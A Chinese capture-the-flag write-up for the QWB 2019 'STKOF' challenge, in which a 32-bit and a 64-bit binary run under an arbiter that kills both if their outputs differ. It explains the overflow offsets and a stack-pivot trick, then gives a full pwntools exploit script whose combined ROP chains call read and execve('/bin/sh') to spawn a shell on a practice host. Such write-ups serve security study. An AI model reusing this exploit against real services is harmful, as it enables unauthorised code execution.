0%

qwb2019_STKOF(栈溢出拟态)

给了我们两个二进制,分别为32位和64位,两个程序功能完全相同,有一个裁决程序,fork出这两个程序,并监听着它们的输出,如果两者输出不一样或者一方崩溃,则裁决程序就会kill掉它们两个。

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下,32位

64位

可知**[32位溢出的距离为0x110,64位溢出的距离为0x118。]{.mark}**由于程序没有开启PIE,并且glibc静态编译到了程序里。我们所需的gadgets不用愁,也不需要泄露。我们可以在32位里调用add esp,XXX。将栈迁移到64位rop的后面,进而能够与64位rop相隔,构造出一个适用于两者的payload。

布局如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding:utf8
from pwn import *

'''sh32 = process('./pwn1')
sh64 = process('./pwn2')'''
sh = remote('node3.buuoj.cn',29103)
elf32 = ELF('./pwn1')
elf64 = ELF('./pwn2')
#64位gadgets
pop_rax = 0x000000000043b97c
pop_rdi = 0x00000000004005f6
pop_rsi = 0x0000000000405895
pop_rdx = 0x000000000043b9d5
syscall = 0x00000000004011dc
read64 = elf64.sym['read']
bss64 = 0x00000000006A32E0
#32位gadgets
pop_eax = 0x080a8af6
#pop edx ; pop ecx ; pop ebx ; ret
pop_edx_ecx_ebx = 0x0806e9f1
int80 = 0x080495a3
read32 = elf32.sym['read']
bss32 = 0x080DA320
#add esp, 0x7c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
add_esp_8C = 0x0804933f
#payload32 = 'a'*0x110 + p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)
#payload64 = 'a'*0x118 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64) + p64(pop_edx) + p64(0x10) + p64(read64)

payload = 'a'*0x110
#32位rop开始,调整esp,使得栈迁移到64位rop的后面
payload += p32(add_esp_8C) + p32(0) #0截断puts的输出
#64位rop
#read(0,bss64,0x10)输入/bin/sh字符串
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64) + p64(pop_rdx) + p64(0x10) + p64(read64)
#execve(bss64,0,0)
payload += p64(pop_rdi) + p64(bss64) + p64(pop_rax) + p64(59) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
payload = payload.ljust(0x1A0,'\x00')
#32位rop
#read(0,bss32,0x10)
payload += p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)
#execve(bss32,0,0)
payload += p32(pop_eax) + p32(0xB) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss32) + p32(int80)
#raw_input()
sh.sendafter('try to pwn it?',payload)
sleep(0.5)
sh.send('/bin/sh\x00')

sh.interactive()